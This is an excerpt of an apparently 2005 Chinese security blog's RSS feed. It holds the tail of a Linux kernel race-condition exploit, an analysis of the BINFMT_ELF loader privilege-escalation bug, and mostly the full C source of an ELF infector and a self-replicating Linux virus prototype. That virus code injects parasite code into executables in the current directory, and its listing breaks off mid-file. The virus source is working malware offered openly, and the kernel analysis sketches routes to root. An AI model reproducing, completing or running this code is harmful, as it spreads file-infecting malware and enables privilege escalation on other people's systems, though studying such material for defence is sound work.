&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; case 'h' :<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; default:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
usage(av[0]);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; basic setup<br>
&nbsp;&nbsp;&nbsp; uid = getuid();<br>
&nbsp;&nbsp;&nbsp; setpgrp();<br>
&nbsp;&nbsp;&nbsp; wipe_slab(); &nbsp;&nbsp;&nbsp; //
先从/proc/slabinfo中读取可用的vm_area_struct数量<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
然后通过生成多个子进程不断的使用mmap来将这些VMA耗尽，如果可用的数量少于SLAB_THRSH,就进入prepare准备制造竞争条件<br>
&nbsp;&nbsp;&nbsp; prepare();<br>
<br>
return 0;<br>
}<br>
<br>
]]></description><guid>http://www.i170.com/Article/8653</guid><trackback:ping>http://www.i170.com/Article/8653/trackback</trackback:ping><comments>http://www.i170.com/Article/8653#comment</comments><wfw:commentRss>http://www.i170.com/Article/8653/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8652</link><title><![CDATA[Linux Kernel BINFMT_ELF Loader 漏洞初步分析]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Thu, 24 Nov 2005 17:27:26  +0800</pubDate><description><![CDATA[Linux Kernel BINFMT_ELF Loader Local Privilege Escalation
Vulnerabilities<br>
<br>
bugtraq id 11646<br>
<br>
<a href="http://www.securityfocus.com/bid/11646" target=
"_blank">http://www.securityfocus.com/bid/11646</a><br>
<br>
针对isec paper中对问题点的描述，我先简单分析一下：<br>
<br>
1. 第一个问题出在kernel_read上，如果我们使用一些手段使其返回值大于0而少于<br>
调用所给定的长度，我们就可以构造一个虚假的elf映象。例如，通过控制<br>
477，523行处的kernel_read调用的返回值，我们就可以为elf二进制文件指定一个虚假的elf_interpreter。<br>
如果这个elf二进制文件是一个setuid程序的话，我们就可以通过弹出的interpreter获得root权限。<br>
上面这个例子是一个纯理论上的分析，事实上要想做到这一点，还需要一些更深入<br>
的分析和实践，但是由于isec的paper中提到了在x86下对于read调用的控制可能是不<br>
可行的，因此我也暂时不在此投入更多的时间。<br>
<br>
2. 如果说isec已经做到了权限提升，那在这一点的可能性最大，这个有<br>
时间会进行重点分析，在这里就不多说了。<br>
<p class="partingline">[separator]</p>
<br>
3. 与2的类似，但是至少表面看起来这个比2更容易看出问题，简单看一下代码就可以<br>
发现301行的kernel_read返回值可以被当作elf_entry使用!如果是一个setuid程序的话会发生什么?!<br>
<br>
4. 这是一个interpreter名字未作'\0'结尾检测问题。按照isec的说法，这个问题有<br>
可能造成系统挂起。试验了一下，至少在我的环境下，系统没有受到太大的影响，也<br>
许是内存中的0太多?这个效果不是很容易表现出来。<br>
<br>
5. 这个比较明显，open_exec()函数调用中没有对读权限进行检查。isec在paper后面<br>
给出了验证代码，这处利用价值有限，暂时略过。<br>
<br>
---------------------------------------------------------------------------------------------------------<br>
对(3)的进一步分析：<br>
<br>
retval = kernel_read(interpreter,interp_elf_ex-&gt;e_phoff,(char
*)elf_phdata,size);<br>
error = retval;<br>
if (retval &lt; 0)<br>
goto out_close;<br>
<br>
前面提到过retval的值可以返回作为elf_entry被使用，这个是没有问题的。但是进一步阅读代码发现retval &lt;=
size，就是说retval的值不会超过size。向前查阅代码确认size的取值范围<br>
<br>
size = sizeof(struct elf_phdr) * interp_elf_ex-&gt;e_phnum;<br>
if (size &gt; ELF_MIN_ALIGN)<br>
goto out;<br>
<br>
可以看出, size被限制为 &lt;= ELF_MIN_ALIGN。再来看ELF_MIN_ALIGN的值<br>
<br>
#if ELF_EXEC_PAGESIZE &gt; PAGE_SIZE<br>
# define ELF_MIN_ALIGN ELF_EXEC_PAGESIZE<br>
#else<br>
# define ELF_MIN_ALIGN PAGE_SIZE<br>
#endif<br>
<br>
......<br>
<br>
#define ELF_EXEC_PAGESIZE 4096<br>
<br>
在我查阅的内核代码中， ELF_MIN_ALIGN在两种情况下的值均为PAGE_SIZE。<br>
<br>
到这里可以确定retval的范围－ retval &lt;=
PAGE_SIZE，也就是说即使我们利用301和321行处的两个程序BUG，使得retval被返回作为elf_entry使用，最后也无法得到有价
值的结果。原因就是elf_entry只能指向0到PAGE_SIZE这个范围内的地址空间，而这会引起进程访问无效页面，最终导致进程被kill。<br>
<br>
---------------------------------------------------------------------------------------------------------<br>
<br>
对(2)的进一步分析：（事实上，经过上面的分析后(2)是唯一一个还有可能有利用价值的了）<br>
<br>
...<br>
...<br>
for(i = 0, elf_ppnt = elf_phdata; i &lt; elf_ex.e_phnum; i++,
elf_ppnt++) {<br>
int elf_prot = 0, elf_flags;<br>
unsigned long vaddr;<br>
<br>
<font color="red">if (elf_ppnt-&gt;p_type != PT_LOAD) &lt;--
(a)</font><br>
continue;<br>
...<br>
...<br>
<font color="red">error = elf_map(bprm-&gt;file, load_bias + vaddr,
elf_ppnt, elf_prot, elf_flags);<br>
if (BAD_ADDR(error)) &lt;-- (b)</font><br>
continue;<br>
...<br>
...<br>
}<br>
...<br>
...<br>
if (elf_interpreter) {<br>
...<br>
<font color="red">elf_entry = load_elf_interp(&amp;interp_elf_ex,
&lt;-- (c)</font><br>
interpreter,<br>
&amp;interp_load_addr);<br>
<font color="red">if (BAD_ADDR(elf_entry)) { &lt;-- (d)</font><br>
printk(KERN_ERR "Unable to load interpreter\n");<br>
send_sig(SIGSEGV, current, 0);<br>
retval = -ENOEXEC; /* Nobody gets to see this, but.. */<br>
goto out_free_dentry;<br>
}<br>
...<br>
}<br>
<br>
a,b两处代码是(2)的问题所在，由于b处代码对elf_map返回错误时处理不当，导致在某些情况下会形成PT_LOAD类型的段（通常是text和data段）加载失败，但程序却仍然继续执行的安全问题。<br>
<br>
目前想到的一个利用方法是：<br>
当elf_map在映射text段时，由于内存原因，elf_map失败，这时当前要新进程空间text段缺失，但是由于b处的问题，进程继续被
创建。当进程创建完成后，程序跳到elf_entry处执行。由于text段映射的失败，其对应的虚拟地址空间内内容未知，但如果在我们的程序中使用
sys_execv调用的话，那此处空间内的VMA应该是我们的原始进程的（即调用sys_execv的进程），因此此虚拟地址空间的内容是我们可控制
的。这样当新进程跳到elf_entry处时，将执行的是我们安排好的代码，也就是说我们可以很容易得到root权限。<br>
<br>
上面的方法只是一个理论上的方法，在转化成实践中还有一个很难解决的问题：<br>
－－－－－－ 如何有效的控制elf_map的失败？<br>
isec的paper中提到了两个造成elf_map失败的情况：<br>
<br>
- a temporary low memory condition, so that the allocation of a new
VMA<br>
descriptor fails<br>
<br>
- memory limit (RLIMIT_AS) excedeed, which can be easily
manpipulated<br>
before calling execve()<br>
<br>
对于第一个，目前的感觉是太难于控制了，还没想到一个有效的方法。<br>
对于第二个，实现很简单，通过setrlimit(RLIMIT_AS,
...)就可以做到。通过setrlimit和execle的组合，我们可以很好的限制SETUID程序使用的内存，使其elf_map调用失败，但一个
随之而来的问题就是，造成elf_map失败的内存限制也会造成后续的内存分配失败。除非这个限制只对b处的elf_map有效，其中一个可能就是，
setuid程序text段占用的内存比其它部分需要的大，这样后续调用还可以进行。好，试试看是否可行：<br>
在c和d处代码interpreter将被加载，不幸（对kernel
coder是好事）的是这里并不存在b处的问题，因此我们只能寄希望于interpreter需要的内存比setuid程序text段需要的内存少。用
readelf观察了一下我的系统内的几个setuid程序，并没有发现.text大于其需要加载的interpreter的内存空间的，因此这个思路暂
时走到尽头。<br>
<br>
总结一下目前的情况：<br>
1 由于无法灵活的控制内存分配失败，因此exploit趋向于更困难<br>
2
在目前只能利用setrlimit简单的限制内存的方法下，我们下一步还可以考虑static编译的setuid程序或特殊的text段大于
interpreter所需内存的setuid程序（也许有这样的setuid程序，但那也许是非常不常见的程序，这样我们写出exploit代码也是没
有通用性的）
]]></description><guid>http://www.i170.com/Article/8652</guid><trackback:ping>http://www.i170.com/Article/8652/trackback</trackback:ping><comments>http://www.i170.com/Article/8652#comment</comments><wfw:commentRss>http://www.i170.com/Article/8652/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8651</link><title><![CDATA[ELF Infector v0.0.2和一个Linux病毒原型源代码]]></title><author>grip2</author><category>网络安全</category><pubDate>Thu, 24 Nov 2005 17:23:49  +0800</pubDate><description><![CDATA[------------------------------ g-elf-infector.c
------------------------------<br>
<br>
/*<br>
* gei - ELF Infector v0.0.2 (2004)<br>
* written by grip2 &lt;gript2@hotmail.com&gt;<br>
*/<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;stdio.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
<br>
#include "gvirus.h"<br>
<br>
#define PAGE_SIZE 4096<br>
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) &amp; ~(PAGE_SIZE -
1))<br>
<br>
static int elf_infect(const char *filename,<br>
void *para_code,<br>
unsigned int para_code_size,<br>
unsigned long retaddr_addr_offset);<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
#define MAX_FILENAME_LEN 256<br>
char backup[MAX_FILENAME_LEN*4];<br>
char restore[MAX_FILENAME_LEN*4];<br>
<p class="partingline">[separator]</p>
<br>
if (argc != 2) {<br>
fprintf(stderr,<br>
"gei - ELF Infector v0.0.2 written by grip2
&lt;gript2@hotmail.com&gt;\n");<br>
fprintf(stderr, "Usage: %s &lt;elf-exec-file&gt;\n", argv[0]);<br>
return 1;<br>
}<br>
<br>
if (strcmp(argv[1], "-l") == 0) {<br>
fprintf(stderr, "Parasite code length: %d\n",<br>
&amp;parasite_code_end - &amp;parasite_code);<br>
return 1;<br>
}<br>
<br>
if (strlen(argv[1]) &gt; MAX_FILENAME_LEN) {<br>
fprintf(stderr, "filename too long!\n");<br>
return 1;<br>
}<br>
<br>
sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);<br>
sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);<br>
<br>
system(backup);<br>
if (elf_infect(argv[1], &amp;parasite_code,<br>
&amp;parasite_code_end - &amp;parasite_code,<br>
PARACODE_RETADDR_ADDR_OFFSET) &lt; 0) {<br>
system(restore);<br>
return 1;<br>
}<br>
<br>
return 0;<br>
}<br>
<br>
static int elf_infect(const char *filename,<br>
void *para_code,<br>
unsigned int para_code_size,<br>
unsigned long retaddr_addr_offset)<br>
{<br>
int fd = -1;<br>
int tmp_fd = -1;<br>
Elf32_Ehdr *ehdr = NULL;<br>
Elf32_Phdr *phdr;<br>
Elf32_Shdr *shdr;<br>
int i;<br>
int txt_index;<br>
struct stat stat;<br>
int align_code_size;<br>
unsigned long org_entry;<br>
void *new_code_pos;<br>
int tmp_flag;<br>
int size;<br>
unsigned char tmp_para_code[PAGE_SIZE];<br>
<br>
char *tmpfile;<br>
tmpfile = tempnam(NULL, "infector");<br>
<br>
fd = open(filename, O_RDWR);<br>
if (fd == -1) {<br>
perror(filename);<br>
goto err;<br>
}<br>
<br>
if (fstat(fd, &amp;stat) == -1) {<br>
perror("fstat");<br>
goto err;<br>
}<br>
<br>
#ifndef NDEBUG<br>
printf("file size: %lu\n", stat.st_size);<br>
#endif<br>
<br>
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd,
0);<br>
if (ehdr == MAP_FAILED) {<br>
perror("mmap ehdr");<br>
goto err;<br>
}<br>
<br>
/* Check ELF magic-ident */<br>
if (ehdr-&gt;e_ident[EI_MAG0] != 0x7f<br>
|| ehdr-&gt;e_ident[EI_MAG1] != 'E'<br>
|| ehdr-&gt;e_ident[EI_MAG2] != 'L'<br>
|| ehdr-&gt;e_ident[EI_MAG3] != 'F'<br>
|| ehdr-&gt;e_ident[EI_CLASS] != ELFCLASS32<br>
|| ehdr-&gt;e_ident[EI_DATA] != ELFDATA2LSB<br>
|| ehdr-&gt;e_ident[EI_VERSION] != EV_CURRENT<br>
|| ehdr-&gt;e_type != ET_EXEC<br>
|| ehdr-&gt;e_machine != EM_386<br>
|| ehdr-&gt;e_version != EV_CURRENT<br>
) {<br>
fprintf(stderr, "File type not supported\n");<br>
goto err;<br>
}<br>
<br>
#ifndef NDEBUG<br>
printf("e_phoff: %08x\ne_shoff: %08x\n",<br>
ehdr-&gt;e_phoff, ehdr-&gt;e_shoff);<br>
printf("e_phentsize: %08x\n", ehdr-&gt;e_phentsize);<br>
printf("e_phnum: %08x\n", ehdr-&gt;e_phnum);<br>
printf("e_shentsize: %08x\n", ehdr-&gt;e_shentsize);<br>
printf("e_shnum: %08x\n", ehdr-&gt;e_shnum);<br>
#endif<br>
<br>
align_code_size = PAGE_ALIGN(para_code_size);<br>
<br>
/* Get program header and section header start address */<br>
phdr = (Elf32_Phdr *) ((unsigned long) ehdr +
ehdr-&gt;e_phoff);<br>
shdr = (Elf32_Shdr *) ((unsigned long) ehdr +
ehdr-&gt;e_shoff);<br>
<br>
/* Locate the text segment */<br>
txt_index = 0;<br>
while (1) {<br>
if (txt_index == ehdr-&gt;e_phnum - 1) {<br>
fprintf(stderr, "Invalid e_phnum, text segment not found.\n");<br>
goto err;<br>
}<br>
if (phdr[txt_index].p_type == PT_LOAD<br>
&amp;&amp; phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text
segment */<br>
#ifndef NDEBUG<br>
printf("text segment file offset: %u\n",
phdr[txt_index].p_offset);<br>
#endif<br>
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz +
align_code_size<br>
&gt; phdr[txt_index+1].p_vaddr) {<br>
fprintf(stderr, "Better luck next file :-)\n");<br>
goto err;<br>
}<br>
<br>
break;<br>
}<br>
txt_index++;<br>
}<br>
<br>
/* Modify the entry point of the ELF */<br>
org_entry = ehdr-&gt;e_entry;<br>
ehdr-&gt;e_entry = phdr[txt_index].p_vaddr +
phdr[txt_index].p_filesz;<br>
<br>
new_code_pos =<br>
(void *) ehdr + phdr[txt_index].p_offset +
phdr[txt_index].p_filesz;<br>
<br>
/* Increase the p_filesz and p_memsz of text segment<br>
* for new code */<br>
phdr[txt_index].p_filesz += align_code_size;<br>
phdr[txt_index].p_memsz += align_code_size;<br>
<br>
for (i = 0; i &lt; ehdr-&gt;e_phnum; i++)<br>
if (phdr[i].p_offset &gt;= (unsigned long) new_code_pos - (unsigned
long) ehdr)<br>
phdr[i].p_offset += align_code_size;<br>
<br>
tmp_flag = 0;<br>
for (i = 0; i &lt; ehdr-&gt;e_shnum; i++) {<br>
if (shdr[i].sh_offset &gt;= (unsigned long) new_code_pos -
(unsigned long) ehdr) {<br>
shdr[i].sh_offset += align_code_size;<br>
if (!tmp_flag &amp;&amp; i) { /* associating the new_code to the
last<br>
* section in the text segment */<br>
shdr[i-1].sh_size += align_code_size;<br>
tmp_flag = 1;<br>
printf("[%d sections patched]\n", i-1);<br>
}<br>
}<br>
}<br>
<br>
/* Increase p_shoff in the ELF header */<br>
ehdr-&gt;e_shoff += align_code_size;<br>
<br>
/* Make a new file */<br>
tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);<br>
if (tmp_fd == -1) {<br>
perror("open");<br>
goto err;<br>
}<br>
<br>
size = new_code_pos - (void *) ehdr;<br>
if (write(tmp_fd, ehdr, size) != size) {<br>
perror("write");<br>
goto err;<br>
}<br>
<br>
memcpy(tmp_para_code, para_code, para_code_size);<br>
memcpy(tmp_para_code + retaddr_addr_offset,<br>
&amp;org_entry, sizeof(org_entry));<br>
if (write(tmp_fd, tmp_para_code, align_code_size) !=
align_code_size) {<br>
perror("write");<br>
goto err;<br>
}<br>
<br>
if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)<br>
!= stat.st_size - size) {<br>
perror("write");<br>
goto err;<br>
}<br>
<br>
close(tmp_fd);<br>
munmap(ehdr, stat.st_size);<br>
close(fd);<br>
<br>
if (rename(tmpfile, filename) == -1) {<br>
perror("rename");<br>
goto err;<br>
}<br>
<br>
return 0;<br>
err:<br>
if (tmp_fd != -1)<br>
close(tmp_fd);<br>
if (ehdr)<br>
munmap(ehdr, stat.st_size);<br>
if (fd != -1)<br>
close(fd);<br>
return -1;<br>
}<br>
------------------------------ g-elf-infector.c
------------------------------<br>
<br>
------------------------------ gvirus.h
------------------------------<br>
#ifndef _G2_PARASITE_CODE_<br>
#define _G2_PARASITE_CODE_<br>
<br>
#ifndef NDEBUG<br>
#define PARACODE_RETADDR_ADDR_OFFSET 1704<br>
#else<br>
#define PARACODE_RETADDR_ADDR_OFFSET 1232<br>
#endif<br>
<br>
void parasite_code(void);<br>
void parasite_code_end(void);<br>
<br>
#endif<br>
------------------------------ gvirus.h
------------------------------<br>
<br>
------------------------------ gvirus.c
------------------------------<br>
<br>
/*<br>
* virus code in C (2004)<br>
* written by grip2 &lt;gript2@hotmail.com&gt;<br>
*/<br>
<br>
#include "gsyscall.h"<br>
#include "gvirus.h"<br>
#include &lt;elf.h&gt;<br>
<br>
#define PAGE_SIZE 4096<br>
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) &amp; ~(PAGE_SIZE -
1))<br>
<br>
#ifndef NDEBUG<br>
#define PARACODE_LENGTH 1744<br>
#else<br>
#define PARACODE_LENGTH 1248<br>
#endif<br>
<br>
#ifndef NDEBUG<br>
#define V_DEBUG_WRITE(...) \<br>
do {\<br>
g_write(__VA_ARGS__);\<br>
} while(0)<br>
#else<br>
#define V_DEBUG_WRITE(...)<br>
#endif<br>
<br>
static inline int infect_virus(<br>
const char *file,<br>
void *v_code,<br>
unsigned int v_code_size,<br>
unsigned long v_retaddr_addr_offset)<br>
{<br>
int fd = -1;<br>
int tmp_fd = -1;<br>
Elf32_Ehdr *ehdr = NULL;<br>
Elf32_Phdr *phdr;<br>
Elf32_Shdr *shdr;<br>
int i;<br>
int txt_index;<br>
struct stat stat;<br>
int align_code_size;<br>
unsigned long org_entry;<br>
void *new_code_pos;<br>
int tmp_flag;<br>
int size;<br>
unsigned char tmp_v_code[PAGE_SIZE];<br>
<br>
char tmpfile[32] =
{'/','t','m','p','/','.','g','v','i','r','u','s','\0'};<br>
<br>
#ifndef NDEBUG<br>
char err_type[32] = {'f','i','l','e',' ','t','y','p','e','
','n','o','t',' ',<br>
's','u','p','p','o','r','t','e','d','\n','\0'};<br>
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k','
',<br>
'n','e','x','t',' ','f','i','l','e','\n','\0'};<br>
#endif<br>
<br>
fd = g_open(file, O_RDWR, 0);<br>
if (fd == -1) {<br>
goto err;<br>
}<br>
<br>
if (g_fstat(fd, &amp;stat) == -1) {<br>
goto err;<br>
}<br>
<br>
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED,
fd, 0);<br>
if (ehdr == MAP_FAILED) {<br>
goto err;<br>
}<br>
<br>
/* Check ELF magic-ident */<br>
if (ehdr-&gt;e_ident[EI_MAG0] != 0x7f<br>
|| ehdr-&gt;e_ident[EI_MAG1] != 'E'<br>
|| ehdr-&gt;e_ident[EI_MAG2] != 'L'<br>
|| ehdr-&gt;e_ident[EI_MAG3] != 'F'<br>
|| ehdr-&gt;e_ident[EI_CLASS] != ELFCLASS32<br>
|| ehdr-&gt;e_ident[EI_DATA] != ELFDATA2LSB<br>
|| ehdr-&gt;e_ident[EI_VERSION] != EV_CURRENT<br>
|| ehdr-&gt;e_type != ET_EXEC<br>
|| ehdr-&gt;e_machine != EM_386<br>
|| ehdr-&gt;e_version != EV_CURRENT<br>
) {<br>
V_DEBUG_WRITE(1, &amp;err_type, sizeof(err_type));<br>
goto err;<br>
}<br>
<br>
align_code_size = PAGE_ALIGN(v_code_size);<br>
<br>
/* Get program header and section header start address */<br>
phdr = (Elf32_Phdr *) ((unsigned long) ehdr +
ehdr-&gt;e_phoff);<br>
shdr = (Elf32_Shdr *) ((unsigned long) ehdr +
ehdr-&gt;e_shoff);<br>
<br>
/* Locate the text segment */<br>
txt_index = 0;<br>
while (1) {<br>
if (txt_index == ehdr-&gt;e_phnum - 1)<br>
goto err;<br>
<br>
if (phdr[txt_index].p_type == PT_LOAD<br>
&amp;&amp; phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text
segment */<br>
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz +
align_code_size<br>
&gt; phdr[txt_index+1].p_vaddr) {<br>
V_DEBUG_WRITE(1, &amp;luck, sizeof(luck));<br>
goto err;<br>
}<br>
<br>
break;<br>
}<br>
txt_index++;<br>
}<br>
<br>
/* Modify the entry point of the ELF */<br>
org_entry = ehdr-&gt;e_entry;<br>
ehdr-&gt;e_entry = phdr[txt_index].p_vaddr +
phdr[txt_index].p_filesz;<br>
<br>
new_code_pos =<br>
(void *) ehdr + phdr[txt_index].p_offset +
phdr[txt_index].p_filesz;<br>
<br>
/* Increase the p_filesz and p_memsz of text segment<br>
* for new code */<br>
phdr[txt_index].p_filesz += align_code_size;<br>
phdr[txt_index].p_memsz += align_code_size;<br>
<br>
for (i = 0; i &lt; ehdr-&gt;e_phnum; i++)<br>
if (phdr[i].p_offset &gt;= (unsigned long) new_code_pos - (unsigned
long) ehdr)<br>
phdr[i].p_offset += align_code_size;<br>
<br>
tmp_flag = 0;<br>
for (i = 0; i &lt; ehdr-&gt;e_shnum; i++) {<br>
if (shdr[i].sh_offset &gt;= (unsigned long) new_code_pos -
(unsigned long) ehdr) {<br>
shdr[i].sh_offset += align_code_size;<br>
if (!tmp_flag &amp;&amp; i) { /* associating the new_code to the
last<br>
* section in the text segment */<br>
shdr[i-1].sh_size += align_code_size;<br>
tmp_flag = 1;<br>
}<br>
}<br>
}<br>
<br>
/* Increase p_shoff in the ELF header */<br>
ehdr-&gt;e_shoff += align_code_size;<br>
<br>
/* Make a new file */<br>
tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC,
stat.st_mode);<br>
if (tmp_fd == -1) {<br>
goto err;<br>
}<br>
<br>
size = new_code_pos - (void *) ehdr;<br>
if (g_write(tmp_fd, ehdr, size) != size)<br>
goto err;<br>
<br>
__memcpy(tmp_v_code, v_code, v_code_size);<br>
__memcpy(tmp_v_code + v_retaddr_addr_offset, &amp;org_entry,
sizeof(org_entry));<br>
if (g_write(tmp_fd, tmp_v_code, align_code_size) !=
align_code_size) {<br>
goto err;<br>
}<br>
<br>
if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)<br>
!= stat.st_size - size) {<br>
goto err;<br>
}<br>
<br>
g_close(tmp_fd);<br>
g_munmap(ehdr, stat.st_size);<br>
g_close(fd);<br>
<br>
if (g_rename(tmpfile, file) == -1) {<br>
goto err;<br>
}<br>
<br>
return 0;<br>
err:<br>
if (tmp_fd != -1)<br>
g_close(tmp_fd);<br>
if (ehdr)<br>
g_munmap(ehdr, stat.st_size);<br>
if (fd != -1)<br>
g_close(fd);<br>
return -1;<br>
}<br>
<br>
static inline void virus_code(void)<br>
{<br>
char dirdata[4096];<br>
struct dirent *dirp;<br>
int curfd;<br>
int nbyte, c;<br>
unsigned long para_code_start_addr;<br>
<br>
__asm__ volatile (<br>
"push %%eax\n\t"<br>
"push %%ecx\n\t"<br>
"push %%edx\n\t"<br>
::);<br>
<br>
char curdir[2] = {'.', 0};<br>
char newline = '\n';<br>
<br>
curdir[0] = '.';<br>
curdir[1] = 0;<br>
newline = '\n';<br>
<br>
if ((curfd = g_open(curdir, O_RDONLY, 0)) &lt; 0)<br>
goto out;<br>
<br>
/* Get start address of virus code */<br>
__asm__ volatile (<br>
"jmp get_start_addr\n"<br>
"infect_start:\n\t"<br>
"popl %0\n\t"<br>
:"=m" (para_code_start_addr)<br>
:);<br>
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;<br>
<br>
/* Infecting */<br>
while ((nbyte = g_getdents(curfd, (struct dirent *)<br>
&amp;dirdata, sizeof(dirdata))) &gt; 0) {<br>
c = 0;<br>
dirp = (struct dirent *) &amp;dirdata;<br>
do {<br>
V_DEBUG_WRITE(1, dirp-&gt;d_name, dirp-&gt;d_reclen - (unsigned
long)<br>
&amp;(((struct dirent *) 0)-&gt;d_name));<br>
V_DEBUG_WRITE(1, &amp;newline, sizeof(newline));<br>
<br>
infect_virus(dirp-&gt;d_name,<br>
(void *) para_code_start_addr,<br>
PARACODE_LENGTH,<br>
PARACODE_RETADDR_ADDR_OFFSET);<br>
<br>
c += dirp-&gt;d_reclen;<br>
if (c &gt;= nbyte)<br>
break;<br>
dirp = (struct dirent *)((char *)dirp + dirp-&gt;d_reclen);<br>
} while (1);<br>
}<br>
g_close(curfd);<br>
out:<br>
__asm__ volatile (<br>
"popl %%edx\n\t"<br>
"popl %%ecx\n\t"<br>
"popl %%eax\n\t"<br>
"addl $0x102c, %%esp\n\t"<br>
"popl %%ebx\n\t"<br>
"popl %%esi\n\t"<br>
"popl %%edi\n\t"<br>
"popl %%ebp\n\t"<br>
"jmp return\n"<br>
"get_start_addr:\n\t"<br>
"call infect_start\n"<br>
"return:\n\t"<br>
"push $0xAABBCCDD\n\t" /* push ret_addr */<br>
"ret\n"<br>
::);<br>
}<br>
<br>
void parasite_code(void)<br>
{<br>
virus_code();<br>
}<br>
void parasite_code_end(void) {parasite_code();}<br>
------------------------------ gvirus.c
------------------------------<br>
<br>
------------------------------ gunistd.h
------------------------------<br>
#ifndef _G2_UNISTD_<br>
#define _G2_UNISTD_<br>
<br>
#define g__syscall_return(type, res) \<br>
do { \<br>
if ((unsigned long)(res) &gt;= (unsigned long)(-125)) { \<br>
res = -1; \<br>
} \<br>
return (type) (res); \<br>
} while (0)<br>
<br>
#define g_syscall0(type,name) \<br>
type g_##name(void) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name)); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define g_syscall1(type,name,type1,arg1) \<br>
type g_##name(type1 arg1) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name),"b" ((long)(arg1))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define g_syscall2(type,name,type1,arg1,type2,arg2) \<br>
type g_##name(type1 arg1,type2 arg2) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
\<br>
type g_##name(type1 arg1,type2 arg2,type3 arg3) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \<br>
"d" ((long)(arg3))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define
g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4)
\<br>
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4)
\<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \<br>
"d" ((long)(arg3)),"S" ((long)(arg4))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define
g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,
\<br>
type5,arg5) \<br>
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5
arg5) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("int $0x80" \<br>
: "=a" (__res) \<br>
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \<br>
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#define
g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,
\<br>
type5,arg5,type6,arg6) \<br>
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5
arg5,type6 arg6) \<br>
{ \<br>
long __res; \<br>
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ;
int $0x80 ; pop %%ebp" \<br>
: "=a" (__res) \<br>
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \<br>
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \<br>
"0" ((long)(arg6))); \<br>
g__syscall_return(type,__res); \<br>
}<br>
<br>
#endif /* _G2_UNISTD_ */<br>
------------------------------ gunistd.h
------------------------------<br>
<br>
------------------------------ gsyscall.h
------------------------------<br>
<br>
#ifndef _G2_SYSCALL_<br>
#define _G2_SYSCALL_<br>
<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;linux/fcntl.h&gt;<br>
<br>
#include "gunistd.h"<br>
<br>
#define NULL 0<br>
<br>
struct dirent {<br>
long d_ino;<br>
unsigned long d_off;<br>
unsigned short d_reclen;<br>
char d_name[256]; /* We must not include limits.h! */<br>
};<br>
<br>
struct stat {<br>
